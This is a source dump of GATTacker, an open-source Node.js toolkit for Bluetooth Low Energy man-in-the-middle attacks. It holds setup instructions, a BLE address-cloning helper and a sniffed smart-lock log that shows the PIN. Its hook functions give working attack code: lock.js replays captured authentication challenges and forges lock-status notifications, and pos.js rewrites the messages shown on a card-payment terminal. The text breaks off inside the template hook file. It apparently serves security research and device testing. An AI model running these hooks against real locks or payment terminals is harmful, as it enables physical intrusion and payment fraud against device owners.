├── LICENSE ├── README.md ├── advertise.js ├── config.env ├── devices ├── README.md ├── f6ad07c55666.srv.json └── f6ad07c55666_GATTack-io.adv.json ├── dump ├── README.md └── f4b85ec06ea5.log ├── gattacker2nrf.js ├── helpers └── bdaddr │ ├── Makefile │ ├── bdaddr.c │ ├── oui.c │ └── oui.h ├── hookFunctions ├── README.md ├── lock.js ├── pos.js └── template.js ├── img ├── gattacker.png └── gattacker_nrf_replay.png ├── lib ├── bleno │ ├── .npmignore │ ├── LICENSE │ ├── README.md │ ├── examples │ │ ├── battery-service │ │ │ ├── .npmignore │ │ │ ├── README.md │ │ │ ├── battery-level-characteristic.js │ │ │ ├── battery-service.js │ │ │ ├── main.js │ │ │ └── package.json │ │ ├── blink1 │ │ │ ├── README.md │ │ │ ├── blink1-fade-rgb-characteristic.js │ │ │ ├── blink1-rgb-characteristic.js │ │ │ ├── blink1-service.js │ │ │ ├── device-information-service.js │ │ │ ├── hardware-revision-characteristic.js │ │ │ ├── main.js │ │ │ └── serial-number-characteristic.js │ │ ├── echo │ │ │ ├── characteristic.js │ │ │ └── main.js │ │ └── pizza │ │ │ ├── README.md │ │ │ ├── peripheral.js │ │ │ ├── pizza-bake-characteristic.js │ │ │ ├── pizza-crust-characteristic.js │ │ │ ├── pizza-service.js │ │ │ ├── pizza-toppings-characteristic.js │ │ │ └── pizza.js │ ├── index.js │ ├── lib │ │ ├── bleno.js │ │ ├── characteristic.js │ │ ├── descriptor.js │ │ ├── hci-socket │ │ │ ├── acl-stream.js │ │ │ ├── bindings.js │ │ │ ├── crypto.js │ │ │ ├── gap.js │ │ │ ├── gatt.js │ │ │ ├── hci-status.json │ │ │ ├── hci.js │ │ │ ├── mgmt.js │ │ │ └── smp.js │ │ ├── mac │ │ │ ├── bindings.js │ │ │ └── uuid-to-address.js │ │ ├── primary-service.js │ │ ├── primary-service.orig.js │ │ └── uuid-util.js │ ├── package.json │ ├── test-ibeacon.js │ ├── test.js │ └── test │ │ ├── test-characteristic.js │ │ ├── test-descriptor.js │ │ └── test-primary-service.js ├── noble │ ├── CHANGELOG.md │ ├── LICENSE │ ├── README.md │ ├── examples │ │ ├── advertisement-discovery.js │ │ ├── enter-exit.js │ │ ├── peripheral-explorer.js │ │ └── pizza │ │ │ ├── README.md │ │ │ ├── central.js │ │ │ └── pizza.js │ ├── index.js │ ├── lib │ │ ├── characteristic.js │ │ ├── characteristics.json │ │ ├── descriptor.js │ │ ├── descriptors.json │ │ ├── distributed │ │ │ └── bindings.js │ │ ├── hci-socket │ │ │ ├── acl-stream.js │ │ │ ├── bindings.js │ │ │ ├── crypto.js │ │ │ ├── gap.js │ │ │ ├── gatt.js │ │ │ ├── hci-status.json │ │ │ ├── hci.js │ │ │ └── smp.js │ │ ├── mac │ │ │ ├── bindings.js │ │ │ ├── legacy.js │ │ │ ├── local-address.js │ │ │ ├── mavericks.js │ │ │ ├── uuid-to-address.js │ │ │ └── yosemite.js │ │ ├── noble.js │ │ ├── peripheral.js │ │ ├── resolve-bindings.js │ │ ├── service.js │ │ ├── services.json │ │ └── websocket │ │ │ └── bindings.js │ ├── package.json │ ├── test.js │ ├── test │ │ ├── test-characteristic.js │ │ ├── test-descriptor.js │ │ ├── test-peripheral.js │ │ └── test-service.js │ ├── with-bindings.js │ └── ws-slave.js ├── utils.js └── ws-client.js ├── mac_adv ├── package.json ├── replay.js ├── scan.js ├── standalone └── blueRadiosCmd.js └── ws-slave.js /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 Slawomir Jasek, SecuRing 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![gattacker](https://raw.githubusercontent.com/securing/gattacker/master/img/gattacker.png) 2 | 3 | 4 | A Node.js package for BLE (Bluetooth Low Energy) Man-in-the-Middle & more. 5 | 6 | 7 | ## Prerequisites 8 | 9 | see: 10 | 11 | https://github.com/sandeepmistry/noble 12 | 13 | https://github.com/sandeepmistry/bleno 14 | 15 | 16 | ## Install 17 | 18 | ```sh 19 | npm install gattacker 20 | ``` 21 | 22 | ## Usage 23 | 24 | ### Configure 25 | 26 | Running both components Set up variables in config.env: 27 | 28 | * NOBLE_HCI_DEVICE_ID : noble ("central", ws-slave) device 29 | * BLENO_HCI_DEVICE_ID : bleno ("peripheral", advertise) device 30 | 31 | If you run "central" and "peripheral" modules on separate boxes with just one BT4 interface, you can leave the values commented. 32 | 33 | 34 | * WS_SLAVE : IP address of ws-slave box 35 | * DEVICES_PATH : path to store json files 36 | 37 | ### Start "central" device 38 | 39 | ```sh 40 | sudo node ws-slave 41 | ``` 42 | Connects to targeted peripheral and acts as websocket server. 43 | 44 | 45 | Debug: 46 | 47 | ```sh 48 | DEBUG=ws-slave sudo node ws-slave 49 | ``` 50 | 51 | ### Scanning 52 | 53 | #### Scan for advertisements 54 | 55 | ```sh 56 | node scan 57 | ``` 58 | Without parameters scans for broadcasted advertisements, and records them as json files (.adv.json) in DEVICES_PATH 59 | 60 | 61 | #### Explore services and characteristics 62 | 63 | ```sh 64 | node scan 65 | ``` 66 | Explore services and characteristics of chosen peripheral. 67 | Saves the explored service structure in json file (.srv.json) in DEVICES_PATH. 68 | 69 | 70 | ### Hook configuration (option) 71 | 72 | For active request/response tampering configure hook functions for characteristic in device's json services file. 73 | 74 | Example: 75 | 76 | ```javascript 77 | { 78 | "uuid": "06d1e5e779ad4a718faa373789f7d93c", 79 | "name": null, 80 | "properties": [ 81 | "write", 82 | "notify" 83 | ], 84 | "startHandle": 8, 85 | "valueHandle": 9, 86 | "endHandle": 10, 87 | "descriptors": [ 88 | { 89 | "handle": 10, 90 | "uuid": "2902", 91 | "value": "" 92 | } 93 | ], 94 | "hooks": { 95 | "dynamicWrite": "dynamicWriteFunction", 96 | "dynamicNotify": "customLog" 97 | } 98 | } 99 | ``` 100 | 101 | Functions: 102 | 103 | 104 | 105 | dynamic: connect to original device 106 | 107 | static: do not connect to original device, run the tampering function locally 108 | 109 | It will try to invoke the specified function from hookFunctions, include your own. 110 | A few examples provided in hookFunctions subdir. 111 | 112 | staticValue - static value 113 | 114 | 115 | 116 | ### Start "peripheral" device 117 | 118 | ```sh 119 | node advertise -a [ -s ] 120 | ``` 121 | 122 | It connects via websocket to ws-slave in order to forward requests to original device. 123 | Static run (-s) sets services locally, does not connect to ws-slave. You have to configure the hooks properly. 124 | 125 | ## MAC address cloning 126 | 127 | For many applications it is necessary to clone MAC address of original device. 128 | A helper tool bdaddr from Bluez is provided in helpers/bdaddr. 129 | 130 | ```sh 131 | cd helpers/bdaddr 132 | make 133 | ``` 134 | 135 | wrapper script: 136 | 137 | ```sh 138 | ./mac_adv -a [ -s ] 139 | ``` 140 | 141 | ## Dump, replay 142 | 143 | Dump files are saved in a path configured by `DUMP_PATH` in config.env (by default `dump`). 144 | More info: 145 | https://github.com/securing/gattacker/wiki/Dump-and-replay 146 | 147 | ## Troubleshooting 148 | 149 | Turn off, cross fingers, try again ;) 150 | 151 | ### reset device 152 | 153 | ```sh 154 | hciconfig reset 155 | ``` 156 | 157 | ### Running ws-slave and advertise on the same box 158 | 159 | With this configuration you may experience various problems. 160 | 161 | Try switching NOBLE_HCI_INTERFACE and BLENO_HCI_INTERFACE 162 | 163 | 164 | ### hcidump debug 165 | 166 | ```sh 167 | hcidump -x -t 168 | ``` 169 | 170 | ## FAQ, more information 171 | 172 | FAQ: [https://github.com/securing/gattacker/wiki/FAQ](https://github.com/securing/gattacker/wiki/FAQ) 173 | 174 | More information: [www.gattack.io](www.gattack.io) 175 | 176 | 177 | 178 | ## License 179 | 180 | Copyright (C) 2016 Slawomir Jasek, SecuRing 181 | 182 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 183 | 184 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 185 | 186 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 187 | 188 | -------------------------------------------------------------------------------- /config.env: -------------------------------------------------------------------------------- 1 | # HCI devices. 2 | # ws-slave - "central" device connecting to target peripheral 3 | # NOBLE_HCI_DEVICE_ID=0 4 | # "peripheral" device emulator 5 | # BLENO_HCI_DEVICE_ID=1 6 | # advertising interval - minimal = 20ms 7 | BLENO_ADVERTISING_INTERVAL=20 8 | # ws-slave websocket address 9 | WS_SLAVE=127.0.0.1 10 | # path to save advertisement and characteristic files of devices 11 | DEVICES_PATH=devices 12 | # path to save log (dump) of all the data exchanged with device 13 | DUMP_PATH=dump 14 | # display websocket client messages in console 15 | WS_DEBUG=0 16 | -------------------------------------------------------------------------------- /devices/README.md: -------------------------------------------------------------------------------- 1 | Here the scanner saves json files with device's advertisements and services+characteristics. 2 | Example files of scanned beacon device attached. 3 | -------------------------------------------------------------------------------- /devices/f6ad07c55666_GATTack-io.adv.json: -------------------------------------------------------------------------------- 1 | { 2 | "id": "f6ad07c55666", 3 | "eir": "0201060303aafe1116aafe20000b821ac001c9adcc0138bc45", 4 | "scanResponse": "0b094741545461636b2e696f020a000a160dd0396f6c4e33315d", 5 | "decodedNonEditable": { 6 | "localName": "GATTack.io", 7 | "manufacturerDataHex": null, 8 | "manufacturerDataAscii": null, 9 | "serviceUuids": [ 10 | "feaa" 11 | ] 12 | } 13 | } -------------------------------------------------------------------------------- /dump/README.md: -------------------------------------------------------------------------------- 1 | Here the scanner saves log dump files with the contents of intercepted transmission. 2 | 3 | File format: 4 | 5 | `timestamp | type | service UUID (optional name) | characteristic UUID (optional name) | hex data (ascii data)` 6 | 7 | example: 8 | 9 | `2017.03.24 17:55:10.930 | > R | 180f (Battery Service) | 2a19 (Battery Level) | 50 (P)` 10 | 11 | type can be: 12 | ``` 13 | > R - received read 14 | > N - received notification 15 | < W - sent write request (without response) 16 | < C - sent write command (with response) 17 | ``` 18 | 19 | Standard UUIDs are in short version. 20 | 21 | Example file of a sniffed smart lock communication (password 12345678) attached. -------------------------------------------------------------------------------- /dump/f4b85ec06ea5.log: -------------------------------------------------------------------------------- 1 | 2017.03.24 17:55:10.586 | < C | fff0 | fff3 | 017300000000000000000000000000 ( s ) 2 | 2017.03.24 17:55:10.930 | > R | 180f (Battery Service) | 2a19 (Battery Level) | 50 (P) 3 | 2017.03.24 17:55:11.125 | < C | 1805 (Current Time Service) | 2a2b (Current Time) | fe196820 ( h ) 4 | 2017.03.24 17:55:11.386 | > R | fff0 | fff3 | 017300000000000000000000000000 ( s ) 5 | 2017.03.24 17:55:11.597 | < C | ffd0 | ffd6 | 0012345678 ( 4Vx) 6 | 2017.03.24 17:55:11.639 | > N | ffd0 | ffd7 | 01 ( ) 7 | 2017.03.24 17:55:11.772 | > R | 180a (Device Information) | 2a26 (Firmware Revision String) | 05290101201504282034 ( ) ( 4) 8 | 2017.03.24 17:55:12.042 | > R | ffd0 | ffd8 | 03 ( ) 9 | 2017.03.24 17:55:12.773 | > R | ffd0 | ffda | 00 ( ) 10 | 2017.03.24 17:55:14.702 | < C | ffd0 | ffd9 | 01 ( ) 11 | 2017.03.24 17:55:14.744 | > N | ffd0 | ffda | 01 ( ) 12 | 2017.03.24 17:55:17.908 | > N | ffd0 | ffda | 00 ( ) 13 | -------------------------------------------------------------------------------- /gattacker2nrf.js: -------------------------------------------------------------------------------- 1 | require('env2')('config.env'); 2 | 3 | var debug = require('debug')('replay'); 4 | var fs = require('fs'); 5 | var util = require('util'); 6 | var utils = require('./lib/utils') 7 | var path=require('path'); 8 | var events = require('events'); 9 | var getopt = require('node-getopt'); 10 | var colors = require('colors'); 11 | 12 | var options = new getopt([ 13 | ['i' , 'input=FILE' , 'input file'], 14 | ['h' , 'help' , 'display this help'], 15 | ]); 16 | options.setHelp("Usage: node replay -i [ > ]\n[[OPTIONS]]" ) 17 | 18 | opt=options.parseSystem(); 19 | 20 | if ( !opt.options.input) { 21 | console.info(options.getHelp()); 22 | process.exit(0); 23 | } 24 | 25 | if (opt.options.output) { 26 | var outputFile=opt.options.output; 27 | } 28 | 29 | //nrf requires strict UUID format 30 | function formatUuid(Uuid) { 31 | var formatted=''; 32 | //expand short service/characteristic UUID 33 | if (Uuid.length == 4) { 34 | formatted='0000' + Uuid + '-0000-1000-8000-00805f9b34fb'; 35 | } 36 | else { //just add dashes 37 | formatted = Uuid.slice(0,8)+'-'+Uuid.slice(8,12)+'-'+Uuid.slice(12,16)+'-'+Uuid.slice(16,20)+'-'+Uuid.slice(20,32); 38 | } 39 | return formatted; 40 | } 41 | 42 | function readLines(input, func) { 43 | var remaining = ''; 44 | 45 | input.on('data', function(data) { 46 | remaining += data; 47 | var index = remaining.indexOf('\n'); 48 | var last = 0; 49 | while (index > -1) { 50 | var line = remaining.substring(last, index); 51 | last = index + 1; 52 | func(line); 53 | index = remaining.indexOf('\n', last); 54 | } 55 | 56 | remaining = remaining.substring(last); 57 | }); 58 | 59 | input.on('end', function() { 60 | if (remaining.length > 0) { 61 | func(remaining); 62 | } 63 | console.log('') 64 | }); 65 | } 66 | 67 | function parse(line) { 68 | // format: 69 | // 2017.03.23 23:41:32.233 | > R | 180a (optional name) | 2a26 (optional name) | 05290101201504282034 (ascii data) 70 | var arr=line.split('|'); 71 | var operator = arr[1].trim(); 72 | var serviceUuid = formatUuid(arr[2].trim().split(' ')[0]); //split(' ') to remove optional description 73 | var uuid = formatUuid(arr[3].trim().split(' ')[0]); 74 | var data = arr[4].trim().split(' ')[0]; 75 | 76 | switch(operator) { 77 | // tbd - type="WRITE_REQUEST"/"WRITE_COMMAND" in output XML file 78 | // does not work stable in nRF currently 79 | case '< W' : 80 | case '< C' : out = ' \n'; 81 | break; 82 | case '> R' : out = ' \n' + 83 | ' \n\n'; 84 | break; 85 | case '> N' : out = ' \n' + 86 | ' \n \n'; break; 87 | break 88 | } 89 | console.log(out); 90 | } 91 | 92 | console.log(''); 93 | var inputData = fs.createReadStream(opt.options.input,'utf8'); 94 | readLines(inputData,parse); 95 | 96 | -------------------------------------------------------------------------------- /helpers/bdaddr/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | LINK_OPT=-lbluetooth 3 | RM=rm 4 | 5 | default: bdaddr 6 | 7 | bdaddr: bdaddr.o oui.o 8 | $(CC) -o bdaddr bdaddr.o oui.o $(LINK_OPT) 9 | 10 | bdaddr.o: bdaddr.c 11 | $(CC) -c bdaddr.c 12 | 13 | oui.o: oui.c 14 | $(CC) -c oui.c 15 | 16 | clean: 17 | $(RM) -f *.o 18 | $(RM) -f bdaddr 19 | 20 | install: bdaddr 21 | cp bdaddr /usr/local/sbin 22 | -------------------------------------------------------------------------------- /helpers/bdaddr/oui.c: -------------------------------------------------------------------------------- 1 | /* 2 | * 3 | * BlueZ - Bluetooth protocol stack for Linux 4 | * 5 | * Copyright (C) 2004-2010 Marcel Holtmann 6 | * 7 | * 8 | * This program is free software; you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation; either version 2 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program; if not, write to the Free Software 20 | * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 21 | * 22 | */ 23 | 24 | #ifdef HAVE_CONFIG_H 25 | #include 26 | #endif 27 | 28 | #include 29 | #include "oui.h" 30 | 31 | #ifdef HAVE_UDEV_HWDB_NEW 32 | #include 33 | 34 | char *batocomp(const bdaddr_t *ba) 35 | { 36 | struct udev *udev; 37 | struct udev_hwdb *hwdb; 38 | struct udev_list_entry *head, *entry; 39 | char modalias[11], *comp = NULL; 40 | 41 | sprintf(modalias, "OUI:%2.2X%2.2X%2.2X", ba->b[5], ba->b[4], ba->b[3]); 42 | 43 | udev = udev_new(); 44 | if (!udev) 45 | return NULL; 46 | 47 | hwdb = udev_hwdb_new(udev); 48 | if (!hwdb) 49 | goto done; 50 | 51 | head = udev_hwdb_get_properties_list_entry(hwdb, modalias, 0); 52 | 53 | udev_list_entry_foreach(entry, head) { 54 | const char *name = udev_list_entry_get_name(entry); 55 | 56 | if (name && !strcmp(name, "ID_OUI_FROM_DATABASE")) { 57 | comp = strdup(udev_list_entry_get_value(entry)); 58 | break; 59 | } 60 | } 61 | 62 | hwdb = udev_hwdb_unref(hwdb); 63 | 64 | done: 65 | udev = udev_unref(udev); 66 | 67 | return comp; 68 | } 69 | #else 70 | char *batocomp(const bdaddr_t *ba) 71 | { 72 | return NULL; 73 | } 74 | #endif 75 | -------------------------------------------------------------------------------- /helpers/bdaddr/oui.h: -------------------------------------------------------------------------------- 1 | /* 2 | * 3 | * BlueZ - Bluetooth protocol stack for Linux 4 | * 5 | * Copyright (C) 2004-2010 Marcel Holtmann 6 | * 7 | * 8 | * This program is free software; you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation; either version 2 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program; if not, write to the Free Software 20 | * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 21 | * 22 | */ 23 | 24 | char *batocomp(const bdaddr_t *ba); 25 | -------------------------------------------------------------------------------- /hookFunctions/README.md: -------------------------------------------------------------------------------- 1 | Example hook functions. 2 | -------------------------------------------------------------------------------- /hookFunctions/lock.js: -------------------------------------------------------------------------------- 1 | var fs = require('fs'); 2 | var colors = require('colors'); 3 | var utils = require('../lib/utils'); 4 | 5 | var actNotify = false; 6 | var actWrite = ''; 7 | var waitForChallenge = false; 8 | var waitForStatus = false; 9 | 10 | 11 | var interceptedForReplay = {} 12 | 13 | var fileToSave='dump/lock' 14 | var interceptedFromFile; 15 | 16 | 17 | //read the intercepted file content 18 | fs.readFile(fileToSave, function(err,data){ 19 | if (err) { 20 | //do nothing, the file is not yet 21 | // throw err 22 | } else { 23 | interceptedFromFile = JSON.parse(data); 24 | } 25 | }); 26 | 27 | 28 | function customLog(peripheralId, service, characteristic, type, data, eventEmitter, callback){ 29 | 30 | console.log('customLog hook'); 31 | var toSave = ''; 32 | 33 | switch (type){ 34 | case 'read': toSave +='< R: '; break; 35 | case 'write': toSave +='> W: '; break; 36 | case 'notify': toSave +='< N: '; break; 37 | } 38 | toSave += characteristic + ' : ' + data.toString('hex') + ' ('+utils.hex2a(data.toString('hex'))+')\n'; 39 | fs.appendFile("dump/save", toSave, function(err) { 40 | if(err) { 41 | //send to callback? 42 | return console.log(err); 43 | } 44 | //console.log("The file was saved!"); 45 | }); 46 | 47 | callback(null, data); 48 | } 49 | 50 | 51 | function saveForReplay(peripheralId, service, characteristic, type, data, notifyEmitter, callback){ 52 | 53 | datastr = data.toString('hex'); 54 | 55 | // console.log('here we are: ' + datastr) 56 | 57 | //the remaining part of challenge 58 | if (waitForChallenge) { 59 | 60 | interceptedForReplay.challenge2=datastr; 61 | waitForChallenge = false; 62 | } 63 | 64 | //the remaining part of status 65 | if (waitForStatus) { 66 | 67 | interceptedForReplay.status2=datastr; 68 | waitForStatus=false; 69 | 70 | //save the object to file 71 | fs.writeFile(fileToSave, JSON.stringify(interceptedForReplay), function(err) { 72 | if(err) { 73 | return console.log(err); 74 | } 75 | console.log("The intercepted file saved!"); 76 | }); 77 | } 78 | 79 | //challenge sent by device 80 | if (datastr.substring(0,10) === '01140a0500' ) { 81 | interceptedForReplay.challenge1=datastr; 82 | //for the next resp 83 | waitForChallenge = true; 84 | } 85 | 86 | //status "closed" 87 | if (datastr.substring(0,10) === '01140a0100' ) { 88 | interceptedForReplay.status1=datastr; 89 | //for the next resp 90 | waitForStatus = true; 91 | } 92 | 93 | //forward the unchanged notification 94 | callback(null, data); 95 | 96 | } 97 | 98 | //returns string with calculated CRC attached 99 | function lockCrc(inputStr){ 100 | 101 | res = 0xff; 102 | inputHex = new Buffer(inputStr,'hex'); 103 | 104 | //start from the second byte 105 | for (i = 1; i<= inputHex.length; i++) { 106 | res = res ^ inputHex[i]; 107 | } 108 | //add padding 109 | reshex = (res+0x100).toString(16).substr(-2); 110 | // console.log(reshex); 111 | 112 | return(inputStr+reshex); 113 | } 114 | 115 | function lockNotify(peripheralId, service, characteristic, type, data, notifyEmitter, callback){ 116 | 117 | // console.log(' lock notify hook'.yellow); 118 | datastr = data.toString('hex'); 119 | 120 | //the remaining part 121 | if (actNotify) { 122 | 123 | if (interceptedFromFile) { 124 | datastr = interceptedFromFile.challenge2; 125 | } else { 126 | console.log('No file with intercepted data to replay found'.red) 127 | } 128 | 129 | console.log(' switch challenge cont.'.red); 130 | actNotify = false; 131 | } 132 | 133 | if (datastr.substring(0,10) === '01140a0500' ) { 134 | console.log(' Authentication - switch challenge '.red); 135 | 136 | if (interceptedFromFile) { 137 | datastr = interceptedFromFile.challenge1; 138 | } else { 139 | console.log('No file with intercepted data to replay found'.red) 140 | } 141 | //for the next resp 142 | actNotify = true; 143 | } 144 | 145 | callback(null, new Buffer(datastr,'hex')); 146 | 147 | } 148 | 149 | 150 | function lockAdvertise(state, notifyEmitter) { 151 | console.log('Advertisement change : '. red + 'CLOSED'.red.inverse) 152 | 153 | var advertisement = JSON.parse(fs.readFileSync('devices/ecfe7e139f95_LockECFE7E139F95.'+state+'.adv.json', 'utf8')); 154 | var eir = new Buffer(advertisement.eir,'hex'); 155 | var scanResponse = advertisement.scanResponse ? new Buffer(advertisement.scanResponse, 'hex') : ''; 156 | notifyEmitter.emit('advchange',eir, scanResponse); 157 | } 158 | 159 | 160 | function lockWrite(peripheralId, service, characteristic, type, data, wsclient, callback){ 161 | 162 | // console.log(' lock write hook'); 163 | datastr = data.toString('hex'); 164 | 165 | if (actWrite === 'auth') { 166 | console.log(' Authentication - do not forward to device : '.red + 'XX'.red.inverse); 167 | actWrite=''; 168 | callback(null,null); 169 | 170 | //notify mobile app "logged-in" 171 | wsclient.emit('notification', peripheralId, 'da2b84f1627948debdc0afbea0226079', '18cda7844bd3437085bbbfed91ec86af', '01040a0701f7'); 172 | } 173 | 174 | else if (actWrite === 'cmd') { 175 | console.log(' Command - do not forward to device : '.red + 'XX'.red.inverse); 176 | 177 | callback(null,null); 178 | 179 | actWrite=''; 180 | 181 | if (interceptedFromFile) { 182 | wsclient.emit('notification', peripheralId, 'da2b84f1627948debdc0afbea0226079', '18cda7844bd3437085bbbfed91ec86af', interceptedFromFile.status1); 183 | wsclient.emit('notification', peripheralId, 'da2b84f1627948debdc0afbea0226079', '18cda7844bd3437085bbbfed91ec86af', interceptedFromFile.status2); 184 | } else { 185 | console.log('No file with intercepted data to replay found'.red) 186 | } 187 | 188 | lockAdvertise('closed', wsclient); 189 | } else if (datastr.substring(0,8) === '01130a06') { // "authenticate" 190 | console.log(' Authentication - do not forward to device : '.red + 'XX'.red.inverse); 191 | actWrite='auth'; 192 | //do not forward this request 193 | callback(null, null); 194 | 195 | } else if (datastr.substring(0,10) === '01140a0100') { // "send command" 196 | console.log(' Command - do not forward to device : '.red + 'XX'.red.inverse); 197 | actWrite='cmd'; 198 | //do not forward this request 199 | callback(null, null); 200 | 201 | } else { 202 | console.log(' lock write hook - forwarding : '.yellow + datastr.yellow.inverse); 203 | callback(null, data); 204 | } 205 | } 206 | 207 | 208 | module.exports.customLog = customLog; 209 | module.exports.saveForReplay = saveForReplay; 210 | module.exports.lockNotify = lockNotify; 211 | module.exports.lockWrite = lockWrite; -------------------------------------------------------------------------------- /hookFunctions/pos.js: -------------------------------------------------------------------------------- 1 | var fs = require('fs'); 2 | var colors = require('colors'); 3 | var utils = require('../lib/utils'); 4 | 5 | var actNotify = false; 6 | var actWrite = ''; 7 | 8 | 9 | function customLog(peripheralId, service, characteristic, type, data, eventEmitter, callback){ 10 | 11 | console.log('customLog hook'); 12 | var toSave = ''; 13 | 14 | switch (type){ 15 | case 'read': toSave +='< R: '; break; 16 | case 'write': toSave +='> W: '; break; 17 | case 'notify': toSave +='< N: '; break; 18 | } 19 | toSave += characteristic + ' : ' + data.toString('hex') + ' ('+utils.hex2a(data.toString('hex'))+')\n'; 20 | fs.appendFile("dump/save", toSave, function(err) { 21 | if(err) { 22 | //todo: to callback 23 | return console.log(err); 24 | } 25 | //console.log("The file was saved!"); 26 | }); 27 | 28 | callback(null, data); 29 | } 30 | 31 | 32 | 33 | function posNotify(peripheralId, service, characteristic, type, data, notifyEmitter, callback){ 34 | 35 | console.log(' dynamic notify hook'.yellow); 36 | datastr = data.toString('hex'); 37 | 38 | console.log(' data' + datastr); 39 | 40 | callback(null, new Buffer(datastr,'hex')); 41 | 42 | } 43 | 44 | 45 | function posWrite(peripheralId, service, characteristic, type, data, wsclient, callback){ 46 | 47 | posWriteHacked(peripheralId, service, characteristic, type, data, wsclient, callback); 48 | 49 | } 50 | 51 | 52 | function posWriteHacked(peripheralId, service, characteristic, type, data, wsclient, callback){ 53 | datastr = data.toString('hex'); 54 | if (actWrite === 'displayswitch') { 55 | datastr='62790cff0c0c0efc5365637552696e672e706c0c' 56 | console.log(' Switch text : '.red + datastr.red.inverse + '(' + utils.hex2a(datastr)+')'); 57 | actWrite=''; 58 | callback(null, new Buffer(datastr,'hex')); 59 | wsclient.write(peripheralId, service,characteristic, new Buffer('ff0ef8a361030e0f','hex'),false) 60 | } 61 | else if (datastr.substring(0,10) === '020c190301') { // "enter card" 62 | actWrite='displayswitch'; 63 | datastr = '020c2403010b0c0c0c020c0efa4861636b656420' 64 | console.log(' Switch text : '.red + datastr.red.inverse + '(' + utils.hex2a(datastr)+')'); 65 | callback(null, new Buffer(datastr,'hex')); 66 | 67 | } else { 68 | console.log(' pos write hook - forwarding without modification : '.yellow + datastr.yellow.inverse); 69 | callback(null, data); 70 | } 71 | } 72 | 73 | 74 | 75 | 76 | function posWriteBH(peripheralId, service, characteristic, type, data, wsclient, callback){ 77 | datastr = data.toString('hex'); 78 | if (actWrite === 'displayswitch') { 79 | datastr='2067726565740cff0ef8a84f030e0f' 80 | console.log(' Switch text : '.red + datastr.red.inverse + ' (' + utils.hex2a(datastr)+')'); 81 | actWrite=''; 82 | callback(null, new Buffer(datastr,'hex')); 83 | } 84 | else if (datastr.substring(0,10) === '020c190301') { // "enter card" 85 | actWrite='displayswitch'; 86 | datastr = '020c1903010b0c0c0c010c0f426c61636b486174' 87 | console.log(' Switch text : '.red + datastr.red.inverse + ' (' + utils.hex2a(datastr)+')'); 88 | callback(null, new Buffer(datastr,'hex')); 89 | 90 | } else { 91 | console.log(' pos write hook - forwarding without modification : '.yellow + datastr.yellow.inverse); 92 | callback(null, data); 93 | } 94 | } 95 | 96 | 97 | 98 | module.exports.customLog = customLog; 99 | module.exports.posNotify = posNotify; 100 | module.exports.posWrite = posWrite; 101 | module.exports.posWriteBH = posWriteBH; 102 | module.exports.posWriteHacked = posWriteHacked; 103 | -------------------------------------------------------------------------------- /hookFunctions/template.js: -------------------------------------------------------------------------------- 1 | var fs = require('fs'); 2 | var colors = require('colors'); 3 | var utils = require('../lib/utils'); 4 | 5 | function customLog(peripheralId, service, characteristic, type, data, eventEmitter, callback){ 6 | 7 | console.log('customLog hook'); 8 | var toSave = ''; 9 | 10 | switch (type){ 11 | case 'read': toSave +='< R: '; break; 12 | case 'write': toSave +='> W: '; break; 13 | case 'notify': toSave +='< N: '; break; 14 | } 15 | toSave += characteristic + ' : ' + data.toString('hex') + ' ('+utils.hex2a(data.toString('hex'))+')\n'; 16 | fs.appendFile("dump/save", toSave, function(err) { 17 | if(err) { 18 | //todo: to callback 19 | return console.log(err); 20 | } 21 | //console.log("The file was saved!"); 22 | }); 23 